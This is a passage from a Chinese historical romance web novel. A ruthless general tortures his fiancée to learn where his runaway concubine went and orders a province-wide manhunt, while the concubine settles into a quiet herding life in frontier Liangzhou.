不明所以。 “大都督, 既攻下冀州, 为何不将其收入囊中?” 裴瓒骑坐马背, 于山麓远眺平野荒山,他微微眯眸,淡声道:“冀州虽是魏国襟喉之地, 却位处国域中部,易攻难守。若派兵驻守此地, 反倒易受魏室天子的夹击, 平白损耗兵力。既如此, 不如返回南地休养生息, 再观战局, 待日后伺机一举攻入京畿。” 郑至明恍然大悟, 他懊恼于自个儿的轻敌, 险些入套,忙感叹道:“还是大都督深谋远虑, 末将叹服。” 裴瓒没有多言,他收回寒漠视线, 拨马下山。 墨羽昂首阔步,撒开四蹄,狂奔出十里地。 一只苍鹰鼓吻奋爪,破风展翅, 环着策马狂奔的裴瓒不住盘旋。 黑鹰见到裴瓒,似是欢喜,钩子一般的鸟喙发出一阵阵刺耳长唳。 裴瓒抬袖接应,任信鹰的锐爪猛然抓上他的护腕。 裴瓒信手拆下书信,不过清浅一扫,墨眸骤然深寒。 男人脸色发沉,几根白皙长指环攥缰绳,薄皮手背勒出几道暴起的粗壮青筋。 气氛瞬间压抑肃穆,饶是郑至明都不免心惊胆战,低声问:“大都督,可是战报出了纰漏?” “并非。”裴瓒冷声道,“此次班师回朝,由你领队,率军撤回南地大营。” 郑至明时常领兵回城,行事娴熟,不会出什么纰漏,只是他听裴瓒话中意思,倒像是不与诸将同行回城。 郑至明皱眉:“您要去哪儿?” 不等他多问几句,裴瓒却已扬鞭离去。 郑至明丈二和尚摸不着头脑。 但冀州之战大捷,不过是率军回城,无需裴瓒坐镇战场,既大都督执意要离去,那便随他去吧。 待裴瓒快马加鞭赶回庐州那日,距林蓉私逃已有半月。 冯叔远远看到那一袭身穿黑袍甲胄的高大身影,激动得语无伦次。 没等裴瓒勒马停下,冯叔便羞愧地跪地请罪:“老奴有罪!老奴没能照看好小夫人,致使小夫人于佛寺失踪,老奴罪该万死!” 裴瓒下马,松开缰绳,掌心一片粗粝皮绳磨出来的血痂,想也是几日骑马奔波,日以继夜赶回的庐州。 男人指腹轻抚腕上冰冷的菩提子,沉眸问话:“将那日情形,事无巨细,统统报来。” 冯叔应诺。 “那一日,老奴陪小夫人一道上普陀寺礼佛,因带了私兵队伍,不好惊扰到其他香客,我等便在山寺门口等候。一直到入夜时分,府上服侍小夫人的碧荷丫头忽然跑出寺外,同老奴道,她喝了一杯茶竟昏厥过去,还把小夫人跟丢了!到处找都没见到人!” “可普陀寺三面环湖,背靠飞瀑,亦没有客舟,唯有一条山径能入寺……小夫人畏水,不可能渡河离开,又怎会不知所踪?当天晚上,老奴便率军将普陀寺翻了个底朝天,可怎么找都找不到人!就连吴小姐也没能看到小夫人!” 裴瓒眉尾微扬:“吴念珍?” 冯叔恍然点头:“正是!此次进山礼佛,便是吴小姐递来的请柬。” “我等搜山两日都没寻到人,后来再去城门关隘询问,也没打听到什么独身小姑娘迁地外出的消息……小夫人就这般不见了踪迹。” 裴瓒碾压佛珠的长指一顿,他的眉眼深湛,挟带一种山雨欲来的威压,嗓音森然:“备车,去吴家。” 吴家早早得知裴瓒要过府闲谈,阖府上下顿时喜气洋洋。 仆妇鱼贯而出,摆起奇珍异草,备好美酒佳肴,殷勤款待这位威势滔天的枭雄豪杰。 就连吴念珍在母亲柳氏的催促下,特意用桂花香露泡好的香汤沐浴,又换了一身新裁的粉缎珍禽兰花绣纹褙子,再搭上清丽的鹅黄纱裙。 女孩的乌发梳起发髻,簪好一支翡翠佛手垂珠钗,远远望去,别有一番动人婉丽的风情。 吴念珍被奶嬷嬷搀去花厅,一路上,她的心里都忐忑不安。 只因裴瓒访客的日子实在有些不对。 三天前,吴家才得知冀州大捷、裴家兵马凯旋的消息,按理说裴瓒回城再快也该是十日之后。 既如此,裴瓒怎会现身庐州? 倒像是他心里存事,专程舍下大军,提前赶回南地! 吴念珍掌心沁汗,一进花厅,她就看到了那位端坐正座端茶啜饮的清俊男子。 裴瓒早已沐浴换衣,他洗净满身腥气,将一身沐血黑甲卸下,换了一袭轻薄的槐花黄绿的圆领袍。 男人青丝半绾,墨发间斜插一支竹骨玉簪,单薄眼皮微抬,薄唇轻抿,竟是一副清辉玉映的温雅姿态。 只裴瓒常年身居高位,便是神情淡漠,身上亦散出一股不可侵犯的凛然威压,令人窥之觳觫,股战而栗。 “吴小姐,好久不见。” 裴瓒勾唇,明明嘴角弧度轻弯,那点笑意却不及眼底,反倒有种令人胆颤心寒的冷意。 没等吴念珍见礼,裴瓒已然摆手,命人退下,再合拢厅堂门扉。 天光散去,饭厅的光线瞬间黯淡,唯有一烛幽火颤颤,如同绿鬼磷火,烧进男人狭长冷目。 吴念珍与裴瓒是未婚夫妻,加之裴瓒位高权重,他既要私下与未婚妻相处,自没有奴仆敢拦,就连柳氏、吴冲,亦是乐见其成。 唯有吴念珍惶恐地抬头,她看出裴瓒温情脉脉的姿态下,其实暗藏戾气。 在房门闭阖的一瞬间,她窥见裴瓒的笑容落下,目寒如刃,此等残酷眼神,似要将她削皮剔骨,寸寸凌迟! “裴都督……”不知怎么,吴念珍忽然畏惧起他,忍不住后退一步。 偏偏裴瓒的视线如锥刺在背,紧追而来。 不过几下缓步,裴瓒便已欺近,居高临下地审视她。 “吴小姐……林蓉在何处?” 吴念珍与裴瓒不过一臂距离,从前她贪恋他衣上檀香,渴求与裴瓒亲昵,可时至今日,她才知这个男人的狠戾可怖之处,她的心中唯有落跑之意! “裴都督这话问得奇怪,我怎会知道林蓉去哪儿?” 不等吴念珍反驳,她忽然听到桌案响起骚动,那一只撑在桌案上的手掌骤然传来剧痛! 血腥味霎时漫开,血珠飞溅,血气在偌大的花厅中弥散。 吴念珍浑身发起白毛汗。 她低头一看,吓得魂飞魄散。 裴瓒这个疯子,竟把一柄削铁如泥的匕首,硬生生刺进了她的手背! 匕首深入骨髓,犹如箭矢,直接把吴念珍钉死在了这一张饭桌之上! 锐刃毫不留情地割破皮肉,挑断她的经脉。 吴念珍入目一片触目惊心的红,一蓬蓬湿热滚烫的鲜血涌出,滴落一地,吓得她两眼呆滞。 “啊——!!” 吴念珍发出凄厉痛苦的喊叫,可门外毫无动静,无人敢进来救她! 窥见这般血腥的画面,裴瓒竟还扯唇微笑,小心提醒:“切莫乱动,若是裂了手骨,这只手便也废了。” 吴念珍吓得涕泪横流,半点没有美人娇态。她战栗颤抖,哀求裴瓒:“你不能这样伤我,我是吴氏女……” “是么?”裴瓒漠然看她,若有所思地道,“吴念珍,你猜……就算杀了你,吴家又能如何?不过是死了一个吴家人,你当吴冲会为你出头,与我宣战?要知道,吴家野心勃勃,意欲与我联姻,又怎会因小失大,为你一人,开罪裴家兵马。” 话说到这份上,吴念珍再蠢也知,她到底小瞧了裴瓒。这个男人冷血无情,是个彻头彻尾的疯子,他此前的句句告诫,俱是发自内心。 若招惹了他,吴念珍当真会尸首异处! 裴瓒待人从来不会心慈手软。 吴念珍心生绝望,她汗流浃背,忍住痛楚,恳求他:“大都督,您饶我一命……求您!” 裴瓒好整以暇地饮茶,寒声劝慰:“既如此,好好想想方才的问题——林蓉,到底在何处?” 吴念珍看了一眼手上狰狞伤疤,她知道再这般流血,救助不及时,她当真会断去一只手臂,她会遭人虐杀,她会不得好死。 吴念珍不敢有所隐瞒,她崩溃地道:“林蓉逃了!她不想为妾,她让我为她备下马匹、钱财,她从普陀寺渡河逃了!” 裴瓒听到“渡河”二字,心中恶意更甚。男人长睫微垂,忍住欲将林蓉挫骨扬灰的邪念,冷静问话:“逃往何处?她既外出奔逃,定会备好路引。” 吴念珍知道裴瓒思虑周密,不敢隐瞒:“是邵州,我为她准备了前往邵州访亲的路引。裴都督,我知道的事就这么多……求您放我一马,求您!” 吴念珍哪里记得林蓉的路引上写了什么,她只知道林蓉要了一份前往邵州的路引,她便差人为林蓉办来……要不是裴瓒逼迫,或许吴念珍都记不清林蓉讨的是邵州的路引! 裴瓒眉梢微挑,扬袖走近。他的掌心用力,长指轻拧匕首,半点没有怜香惜玉,径直将锐刃猛然拔出。 裴瓒信手挥去寒刃沾染的一片猩红,“恭喜你,至少留下了一命。” 吴念珍受此惊吓,简直要魂飞魄散,她捂住泊泊淌血的手臂,如释重负地瘫软在地。 吴念珍望着裴瓒煞气腾腾的背影,她颤抖唇瓣,还是没敢说出绝嗣汤的事……她的脑袋混沌,心中只有一个念想——她怕极了裴瓒,她不能嫁到裴府,她会死的,她一定要离开庐州! 门板拉开一道缝隙,光亮漏进屋舍。 吴念珍以为裴瓒要走了,心生希冀,喜极而泣。 可就在这时,门板又重重扣上。 合得严丝合缝。 重重一声巨响,吓得吴念珍呆若木鸡。 她颤抖地抬头,看着裴瓒转身,步步踏回。 裴瓒低头,用扫视蝼蚁一般的轻蔑眼神,睥睨吴念珍。 “你并不愚钝……不会私自放走我的侍妾。既如此,为何生出好心,忽然想帮她逃离?吴念珍,我知你虚荣、贪慕富贵、善妒、小心眼……怎可能被林蓉几句哀求蛊惑?” 吴念珍:“我……” 裴瓒的耐心告罄:“吴念珍,我给你三息时间。告诉我,你们之间还有何等交易?若你欺瞒,我会将你剁碎了喂狗。” 在这一刻,吴念珍瞪圆了一双美目。 她在困惑,她怎么会被裴瓒雪胎梅骨的皮囊蛊惑,竟倾心于他……裴瓒哪里是谦谦君子,他分明是披着人皮的恶鬼。 吴念珍瑟缩一团,她知道她无路可退。 吴念珍翕动干涸的唇瓣,迟疑良久,还是结结巴巴说出了口:“绝、绝嗣药……林蓉愿喝下绝嗣药,以此谋求一条生路……” “竟是如此。” 绝嗣汤药,好一个绝嗣汤药。 吴念珍罪该万死,竟让林蓉喝下这等毒汤! “是你逼她饮下的汤药?”裴瓒的薄唇微动,吐出几个骇人的字眼。 吴念珍急忙辩解:“不不!不是我!是她自己要喝的!是她不想怀上你的孩子,是她要喝的,与我何干!” 裴瓒不会听信吴念珍的一面之词。 “不论是林蓉要求,还是你胁迫她饮汤。既你执意断我侍妾子嗣,我为夫主,自当以其人之道,还治其人之身。” 吴念珍既行了恶事,自该咽下恶果。 裴瓒一贯公平公正,绝无偏私。 裴瓒抚掌唤人:“来人!” 门扉大开,闯进几个膀大腰圆的婆子。 她们齐心协力,压住吴念珍的双臂,将她摁在地上。 “熬一碗绝嗣汤,喂吴三小姐喝下去。”裴瓒轻撩眼皮,迈出门槛。 吴念珍听得这句话,顿时眼前一黑,几欲昏厥。 吴念珍无助地大喊:“裴都督!裴瓒!你不能这么对我!裴瓒!!我不能无子!!” 裴瓒却置若罔闻,他渐行渐远,残忍地淡出吴念珍的视线。 吴念珍反抗不得,她怎么都没明白,她既在生育自己的家宅,又怎有人能逼她咽下这等害人的汤药! 吴念珍肝胆惧寒,她想逃跑,却在起身的瞬间,被人扣住了肩膀,重重压下。 吴念珍动弹不得,她绝望地看着那碗熬好的热汤,晃晃悠悠送至她的唇边…… 裴瓒到底给吴冲留了颜面,他纵有杀心,也没斩了吴念珍。 毕竟是吴家教女无方,这等家事自有吴冲处置。 想来吴家为了让裴瓒消气,也会给他一个满意的答复。 两天后,吴家传出了“解除婚约”的消息。 吴氏与裴瓒的亲事虽断,但裴瓒将吴家四小姐认作义妹,又将此女嫁给了自己麾下的心腹大将。如此也算和吴氏沾亲带故,结盟联姻。 吴冲虽遗憾,但也庆幸,至少吴家没和裴瓒闹掰。 只恨吴三娘这个蠢货,尽是添乱。 如今好了,鸡飞蛋打,连妻位都没占成,当真是悔不当初! 回到府衙,裴瓒悬腕提笔,绘制了一名妙龄女子的丹青。他不但发布海捕文书,还让画师临摹上千张画像,赏金万两,张贴各地,只求能即刻搜出这名逃犯。 除此之外,裴瓒还颁布旨令,命南地六州彻查这个月内所有途径渡口、州府关隘的流民百姓,特别是从庐州到邵州的官道、水路。 凡是可疑的生人,不拘男女,即便容貌不对,亦要查验肩颈的胎痕印记。 一旦生有梅花胎记,皆囚于监牢,好生看管,待裴瓒亲去监牢,核实逃犯的样貌。 裴瓒摁了下额角,沉声吩咐下臣:“查验逃犯真身时,不可由男子靠近,只能让妇人解衣验身……除此之外,还要查各州漕运水路,大至客船,小到渔舟,悉数查明。还有,派人上各地官牙所、私牙人那处盯梢,看看这个月是否有生客租赁房屋,就连投亲民宅的百姓,留宿荒庙的流民,亦要逐一排查过去。” 只恨邵州并非裴瓒的辖地,如想行事,怕是多有不便。 但没关系,林蓉逃到哪里,他便打到哪里。 “林蓉,我说过的。” 裴瓒凤目含威,神情森骇,隐忍的怒火在血脉偾张的胸腔中,炽烈焚烧,几欲将人焚灼成灰。 几根玉指翻飞,游刃有余地把玩着那一把寒光毕露的锐刃。 “如你私逃……我定会杀你。” 第43章 林蓉一路向西逃去。 最开始的一段时间, 她卖马坐船,逃离了庐州。 出城后,林蓉又去集市书铺里买了一本讲解各地风土人情的《地方志》, 本来她还想买舆图,但舆图贵重, 即便是旧时的羊皮绘卷, 也要一两银子, 也就裴瓒这样家大业大的军将, 才有能力与闲钱置办整个魏国的州府地图。 反正林蓉没舍得花这个钱,她只能抱着那本《地方志》细细地啃,再从划船的船夫口中, 打听各地水路、官道的路线。 林蓉日以继夜地赶路,一门心思朝着邵州跑。 邵州接壤青州, 又不属于南地六州之一, 只要林蓉逃出南地, 裴瓒鞭长莫及, 或许就抓不了她。 林蓉一边安慰自己, 一边加快脚程逃离。 她害怕后头会有追兵, 夜里根本不敢在驿站客栈里落脚, 生怕睡熟了被人擒住,又要抓回庐州。 林蓉基本都是带些干粮上荒庙对付一夜, 或是花点小钱去民居投宿。 好在林蓉脸上生疮,又涂了浅淡的乌膏, 即便她的声线绵软,常被人怀疑是女儿身,也无人会对一个丑陋脏污的男装女子做些什么。 大约过了半个月,林蓉终于赶到青州。 再行那么一两天, 她就能逃出南地了,林蓉欢欣雀跃,却又不敢掉以轻心。 林蓉料想裴瓒行事谨慎,保不准已经从吴念珍那边套出话了……他一定会知道她逃往邵州,既如此,林蓉便不能往邵州行去。 林蓉清点了剩下的二十多两银子,她找了青州金水镇的一户镇民,花钱请人作保,为她重新置办一份前往凉州的路引。 这一次的路引,林蓉抹去了她的“庐州籍贯”,谎称保人是自己表兄,而她实乃青州人士,如此一来,便能阻止裴瓒从“四处迁地访亲的庐州人”这一点查验寻人。 凉州距邵州不远,但离西域边境很近,魏国边塞天气严寒,雪峰延绵,其实不大合适林蓉这种住惯了湿气重的南地姑娘定居。 但林蓉管不了那么许多,她别无选择,为了摆脱裴瓒,只能先去凉州落脚,其他再议。 待林蓉抵达凉州时,已是一个多月后。 彼时已是八月,夏末,日子渐冷。 林蓉劳累一月,加之身体虚耗亏空,不出意外病倒了。 林蓉难得善待自己一回,她花了二钱银子,住到干净整洁的客栈里,不但差遣店小二出门买药,还将自己从头到尾都清洗了一次。 看到那一桶乌漆脏污的浊水,林蓉边拥着温暖的被褥,边莫名其妙笑了一声。 她安全了,她能好好睡上一觉了。 压在林蓉心口那团沉甸甸的气,好似在这一瞬间忽然消散了。 林蓉喝了药,又吃了一碗淋了肉臊的“拨鱼子”。 这是凉州当地的面食,做法倒也不难,将面食糊在碗底,再用筷子一碾一蹭,拨进沸水锅子,便能煮出这般爽口的面疙瘩。 林蓉喜酸,还特意往汤里添了几勺老醋。 待她一觉睡到下午,脑袋清醒以后,林蓉又上街买了几身胡袍,还有当地常吃的胡饼、烤馕、腊羊肉。 即便凉州位处西地,地方百姓也会说大魏话,只是说得不大好,口音听起来有点像胡语,在街上林蓉还看到好些深目高鼻的吐蕃人。 凉州不算富饶,虽与西域通商,可比之有着“天下粮仓”之称的南地,还是贫瘠很多。 凉州靠近边塞,虽有胡族争斗,但比起眼下中原乱战,还是西地合适避难。 唯一不好的是,凉州气候严寒干燥,不大合适农作,平日里地方百姓也是吃油饼、面条、烧肉居多。 因此,林蓉擅长的农事发挥不出太大的作用,但她会骑马,也懂畜牧行当,可以尝试自己买马、养羊,再挤奶制乳,自给自足。 林蓉打听了一圈,在主城外的玉山村里,挑下一间荒僻便宜的黄泥小院。 一座小院也得要个十两银子,林蓉没有犹豫,天知道她多想拥有一个独属于自己的落脚地。 剩下的钱,林蓉分成两份。 一份存好,以备不时之需。 另一份,她拿去置办家具、吃食、被褥,还养了几只小羊羔,鸡鸭,顺道买一条看家护院的猎犬。 狗崽子生得弱小,见到生人,只能狂吠几声,并不能吓退外人。 这天,林蓉正用家中土灶煮面,院外忽然传来几声急促的狗叫。 林蓉心生警惕,手举烧红了的火钳子,蹑手蹑脚迈出灶房。 没等她挥棍打人,一名身穿胡袍的高大男子便连声讨饶,用一口蹩脚的大魏话道:“穆姑娘,我、我是来给你送酪浆的,我名叫杨峰,就住在村口……是村长说咱们村里添了生客,喊我过来瞧瞧。” 林蓉对外声称自己姓“穆”,旁人都喊她一声穆姑娘。 林蓉知道自己错怪好人,忙和杨峰道歉。 她看了一眼陶罐里酸甜口味的酪浆,忙擦了手上水迹,给杨峰端来一碗片好的羊腿腊肉。 “礼尚往来,我不能白拿杨大哥的吃食,这个给你……若是日后有机会,我能不能和杨大哥讨教一下制酪的方子?” 林蓉和地方百姓打听过怎么制乳皮子、怎么用羊乳出酪,再制成生酥、醍醐,但那些老人说话带口音,还掺些胡语方言,林蓉听不明白。 既然杨峰会制酪浆,不如直接跟着他学。 杨峰没想到林蓉这般好讲话,肉价可比羊乳贵多了,她回赠他一碗肉,显然是想提前交点“学费”。 杨峰也是敞亮人,闻言立马应了:“这有何难,明儿穆姑娘过来一趟,我正好晒乳皮子,能教你怎么熬酪、炒酪、晒干酪!” 林蓉心中欢喜,笑吟吟地点了头。 夜里,林蓉喂过狗崽子大黄、三只小羊、几只鸡后,又用杨峰送来的白色酪浆拌软儿梨吃。 她身上还有几两碎银,足够熬到明年。 小羊养五六个月就能出栏,到时候宰了羊晒肉,皮毛割掉易腐生臭的油脂还能制衣,多的羊肉拿出去卖钱。 再添些家禽,院子里还能移栽果树,慢慢养着出果,可以用糖霜酿果酱,封在陶罐里储藏,白嘴吃馕饼实在太素,抹一点甜酱吃正正好。 等最难的头年过去,林蓉手上总会有些闲钱,到时候她甚至可以上街烤胡饼、卖奶皮子、酥酪…… 林蓉盘算着谋生的法子,心里踏实。 她长吁一口气,满满都是对于未来幸福日子的期盼。 青州,知州府衙。 管辖一州政务的州官肖文瀚,心里六神无主,抬头张望,远远见到了那一面面迎风招展的裴姓旗帜。 “快给本官站直了,少丧着一张脸!裴大都督到了!” 成千上万的军将披坚执锐而来,犹如几道黑甲洪流,奔涌而至。 将士们军容整肃,气势一往无前,光是那撼动地皮的隆隆马蹄声,都足以令“接驾”的官吏们头皮发麻,不寒而栗。 肖文瀚远远看到那辆马车,立即堆起笑脸,点头哈腰上前:“裴大都督远道而来,真是令下官的寒舍蓬荜生辉。” 裴瓒如今就是南地六州的土皇帝,招惹了他,可是随时要被贬谪的,肖文瀚哪敢怠慢。 车帘勾开,鹤骨松姿的男人撩袍下车。 裴瓒一双清绝长目掠过肖府门楣,扯了下唇角:“肖大人的宅邸,光是门梁都用上了紫檀黄檀,又怎能称之寒舍。” 若是平时官吏交际,这般对话堪称互相恭维,极其识趣。 但从裴瓒口中说出来,分明就是暗暗嘲讽——肖大人,贪得不少啊。 肖文瀚眼冒金星,讪讪赔笑,一句话都不敢多言。 裴瓒敲打够了,径自扬袖入府。 花厅上备饭备茶,裴瓒却迟迟不动筷子。 这般雷霆威慑,更是吓得底下官吏面面相觑,汗洽股栗。 裴瓒放下茶盏,点了肖文瀚入偏厅议事。 上峰被裴大都督唤走,余下的官吏肉眼可见地放松,长出了一口气。 到了偏厅,裴瓒轻抚掌中念珠,冷声问他:“查得如何?” 肖文瀚忙道:“下官将那些要前往邵州的流民百姓,不拘男女,尽数收监彻查,可下官无能,并未找到肩落梅花胎记之人……” 裴瓒似笑非笑看他,没有应声。 肖文瀚一看阎王爷的冷笑,当即明白过来——一个既没用又贪的官吏,留他何用?不如杀了了事。 肖文瀚汗流浃背,忙跪地道:“还请裴都督再给下官一次机会,下官必定尽心竭力办差,半点不敢疏忽怠慢!” 裴瓒静静看他一眼,凉声道:“如今世道太乱,各地硝烟烽火,难保没有避难的流民伪造身帖、路引,肆意迁居,以求自保。这名逃犯性子奸猾,兴许并未往邵州躲避,你且往接壤邵州的凉州、陇州查探,看看近日有无持着前往凉州、陇州的路引出关的百姓。如有,再去查探为她作保的保人,看看那些记录在册的籍贯、身份,是否属实。” 裴瓒知道林蓉有几分急智,保不准已经猜到他寻了吴念珍。 既如此,她必不敢往邵州行去,以免自投罗网,被裴瓒瓮中捉鳖。 裴瓒寻人不得,那就反其道而行。 两日后,肖文瀚大喜过望,回来禀报:“大都督,下官查到了!” 裴瓒摩挲菩提子的指肚一顿,抬眸看他。 肖文瀚:“一个月前,金水镇的一户镇民贪图钱财,为一生客作保,谎称是生客表兄,还将人带到里正家中,置办了一份前往凉州的路引文书!” 裴瓒嗓音清冷,问他:“这名生客身量多高,何等样貌?” 肖文瀚办差妥当,早帮裴瓒打听好了。 “身约六尺,年十八,脸上生疮,皮肤有些黝黑,丑陋无比。只是他说话声线绵软无力,不似男子那般粗浑,肩颈隐有燎疤……” 燎疤? 裴瓒的墨瞳微沉,薄唇紧抿,心中了然。 倘若林蓉狠心至此,为躲他追捕,竟连一身皮肉都敢剐去,他倒要敬她的胆色。 再一想到,裴瓒之前为了查出林蓉的下落,还在府邸审讯过平时伺候林蓉的丫鬟婆子。 那个叫碧荷的丫鬟为了消罪,免除责罚,曾对裴瓒说过一件事:林蓉曾向她讨过乌膏胭脂,用于扮作昆仑女奴,意图讨好夫主。 可裴瓒搜遍寝房,并不见此物。 又听到那名路引造假的生客皮肤颇黑,如此联想,可不就是应上了? 裴瓒低垂眉眼,轻嗤一声。 为了私逃,林蓉还真是无所不用其极。 此举,又何尝不是将裴瓒的颜面往泥里踩。 裴瓒脸色铁青,紧绷着下颌,强行忍住勃发沸腾的怒意。 裴瓒满身散开风雨欲来的骇人威压,吓得肖文瀚声音减弱:“可此人已经过了关隘,直往凉州去了……” 凉州位处边境,并非南地六州的辖区。 倘若裴瓒扮作寻常百姓,大可肆意入关游走。 可他如要率军入境,必定得引发一场战役动乱了。 毕竟凉州明面上还是陈文晋的地盘,虽然陈文晋鞭长莫及,根本没能力增派援军,驰援凉州,用于御敌。 只是,裴瓒暂时没有攻打凉州的念头。 凉州是魏国与吐蕃西域的交界地,裴瓒又不打算让西域诸胡归附魏国,何必在内战频发的档口,攻下毫无用处的弹丸小州? 裴瓒心知此事无益,他不会贸然将兵力浪费于此。 因此,裴瓒只道了句:“传我旨令,撤回六州各地的追捕文书,寻人的消息莫要流出南地,至于凉州……本都督亲去一趟。” 裴瓒手下亲卫众多,不过擒拿一名女子,杀鸡焉用牛刀,实在无需大军入境。 若是裴瓒真寻不到林蓉,大可直接命凉州的官吏张榜搜人。 毕竟那些地方小官各个聪慧,比起引来战乱,朝廷又不肯派兵增援,那他们忠君守城,定是必死无疑。 既如此,还不如那些地方官当个风吹两边倒的墙头草,让裴瓒得偿所愿,早早寻到人,再把他这尊大佛妥善送出州府,如此才是治州守城之道。 裴瓒心知,林蓉的死期将至,已是插翅难逃。 既如此,念在昔日旧情,裴瓒只能奉劝一句——“林蓉,万万藏好一些……别让我太快找到。” 第44章 林蓉在凉州过了十多天, 转眼就进了九月。 凉州接壤西域三十六国、吐蕃,往西面的吐蕃行去,到处都是巍峨的山岭, 环抱草原的群山,皑皑落雪的雪峰;再北面的西域走, 便是萧条的戈壁、荒芜的沙漠、广袤的草原。 林蓉从前在南地, 天天听人说蕃夷部族茹毛饮血, 多么残暴可怖。 但实际上, 除了天气严寒,粮食紧缺时,那些骑马的蕃夷诸酋会率军入关, 大肆掠夺,一般情况下, 凉州还算平静无事, 没什么战乱。 毕竟蕃夷部落习惯了游牧生活, 即便攻城入内, 也并不愿占地守城, 只要没有烽火硝烟, 地方百姓过得还算安逸, 不会成日担惊受怕,民不聊生。 林蓉以为自己来了凉州, 会水土不服,甚至生起一些急症。 为了预防病症, 林蓉特意在羊皮水囊里装了南地六州的水,打算搀着凉州水,一点点饮用。这是土方子,能克水土瘴病, 让五脏庙里安定,从而不要上吐下泻。 但好在她的身体还行,这么多大灾大难过去,还能很好适应凉州的吃食,没有太多不适。 只是凉州太冷,不过九月就骤然入冬,林蓉没个准备,险些冻出了头风病。 村里的张婶娘见林蓉衣裳单薄,特地引荐她上那些入境卖皮子的胡商那边买冬袍。 张婶娘用胡语讲价,帮林蓉以较为便宜的价格,买来一块用于制袍御寒的牦牛皮。 “猞猁皮可贵了,但也最暖,皮草最厚,一条皮袍可以穿十多年。皮袍绑在身上,好似一床大被,身上衣带解开,往地皮上一摊就足够过夜了。” 张婶娘大大咧咧的,还朝着林蓉挤眉弄眼道,“当年我和妙妙他爹就是在草场解衣入睡,怀的一双儿女……” 妙妙是张婶娘的小女儿,今年才六岁。 她听到阿娘喊她名字,眨巴一双乌溜溜的眼睛转过来,不明所以。 但林蓉是经过人事的小姑娘,她立马听懂张婶娘的荤话,耳朵羞得通红。 张婶娘在说,当初她和丈夫在外游牧,以天为被,以地为席,解衣垫底,在草场上野战了一番,便生下了一双儿女。 林蓉也算是明白,凉州和南地六州究竟有何不同。 南地姑娘温婉,有些底子的人家大多重文,会用教条礼仪约束女孩,但大多边城的百姓和胡人接触颇多,性子奔放粗犷,不拘小节,相处起来便也没那么疏离拘谨。 林蓉是典型的南地姑娘,脾气绵软,做事温吞,说话也细声细气,即便脸上红疮未愈,还留有大片红印,瞧着颇为丑陋,但玉门村里的儿郎待她还是很有好感,甚至常常帮林蓉做事,劈柴送水,牧羊喂鸡,表达爱慕之情。 林蓉虽没什么男女之事的想法,但她不会将旁人的好意拒之门外,只在其他人帮她做事后,再礼尚往来,送上吃食、用物,表达感谢。 一来二去,玉山村的父老乡亲都知道村子里多添的这户人家,是个勤劳嘴甜的小姑娘,她初来乍到,人生地不熟,不能让人欺了去。 不但家中烧羊肉会叫上林蓉,就连平时煮暖身子的酥油奶茶,都会让家里的小孩给林蓉端去一碗,还教她怎么用乳扇佐奶茶吃。 林蓉得了许多村民的好处,她心中感激,无以为报,只能帮着村民们做些力所能及的事。 就在林蓉还在犯愁日后生计的时候,杨峰为她介绍了一门好差事——那便是帮他牧马。 原来边境交战,大多使用战马。 地方官为了养出吐蕃那般膘肥体壮的战马,悄悄跟蛮夷偷师,得知了夷人军马膘肥体壮的秘密。 原来胡族人为了获得体壮少病的战马,并不会把马驹养在马厩里,而是因地制宜,将军马放养于山谷平原。 但军所的兵丁平日要操练巡视,没有闲暇养马,若是特意拨兵牧马,又会浪费兵力与钱财。 为了养马御敌,以备不时之需,凉州官吏有时会将那些马龄尚幼的马驹,寄养在市井百姓的牧场中,让牧民们帮忙赶马放牧,将那些战马放到草料丰富的草场养育。 待一两年后,军马能够适应极寒炎热的气候,体魄强健,再送回军所,用于骑兵的训练。 杨峰就是承包了这样一桩官马的放牧差事。 再过一月,他就能交差收钱,只是帮着干活的小工家中有事,不能帮忙放马,杨峰便想到了擅长马术的林蓉,想请她顶上十多天。 得知要帮忙放牧官马,林蓉心中惊讶,她既担心自己不能胜任这份差事,又跃跃欲试,毕竟这样干十多天,她便能得二两银子的工钱,比外出卖饼要好挣得多。 虽然林蓉知道,钱多代表差事辛苦,特别是接连几日都要睡在草原、山谷之中,看顾军马,等闲人肯定吃不了这个苦。 杨峰唯独怕林蓉一个姑娘家受不了,委婉地劝:“当然,我不过随口说说,你觉得累就算了。” 林蓉摇头道:“这有什么累的?杨大哥能给我活干,我高兴还来不及!” 林蓉承下此事,并且给了张婶娘一钱银子,托她帮忙照看家中的家禽。 此次外出,林蓉还带上了狗崽子大黄为伴。 但大黄最多只帮林蓉牧过羊,看到那些体型庞大的军马,立马吓得狗腿哆嗦。 林蓉哈哈大笑,找了个皮袋子装好小狗,驮在马背上,而她也上马骑行,跟着几人奔向辽阔无垠的原野间。 夜里,林蓉记下自己管辖的那十多匹军马所在之处,随后她坐回篝火旁,专心用食。 林蓉分给杨峰、还有另外一对小工夫妻,几只风干的腊鸡腿,又取出买来的便宜的高碎茶叶、一块羊板油提炼的酥油、一袋羊奶,给杨峰演示如何煮茶泡肉。 林蓉好学,如今泡酥油茶很有经验。 不过凉州人大多喝的加盐咸茶,但林蓉是南地姑娘,喜欢甜口,因此她在自己那碗茶里添了点蜂蜜,并洋洋得意地说:“这就是我们南方人的喝法,虽有点怪,但我很喜欢。” 林蓉围着火光冲天的篝火,笑着介绍,还用阔叶扎了茶碗,给几人分别倒上一点甜奶茶。 两地口味实在不同,小工夫妻闻了一下古怪的甜味,连连推辞。 唯有杨峰喝了一口,皱皱眉,又喝上一口。 林蓉凑近了看他,着急地问:“杨大哥,如何?” 杨峰笑道:“还不错。” 林蓉欢喜一笑,殷切地提起茶壶,意欲再倒。 杨峰脸都绿了,他忙道:“咳……但还是给我咸口的吧。” “唉,我还以为杨大哥会很懂我。”林蓉翘起的嘴角马上落下,一副嫌人暴殄天物的遗憾模样,将另外一壶盐奶茶递给了杨峰。 林蓉脸上的神情实在生动可爱,被黄澄星火映亮的杏眸烨烨生辉,竟让杨峰有那么一瞬出神。 在这一刻,杨峰只觉得林蓉美若天女,即便脸上生疮,没梳繁复的发簪,也丝毫不掩她的娇艳风华。 夜里,林蓉抱下那一床宽大的牦牛袍,摊在一望无际的原野上。 林蓉躺到大衣里,以软袍作被,听着远处传来的呼啸风声,看布满天穹的闪烁星辰,惬意地舒展四肢。 林蓉抱着毛茸茸的大黄,想到今早在草场里看到的一大片阿格草、灰背青,这是军马最爱吃的草料,也是芝麻喜欢吃的草粮。 林蓉无不感慨:“如果芝麻也在这里就好了……” 八天后,这一批军马被凉州掌马政的官吏收回,杨峰得了酬金,分给林蓉二两银子。 林蓉第一次拿到这么丰厚的报酬,心中的激动之情简直难以言喻。 这不仅仅是普通的二两银子! 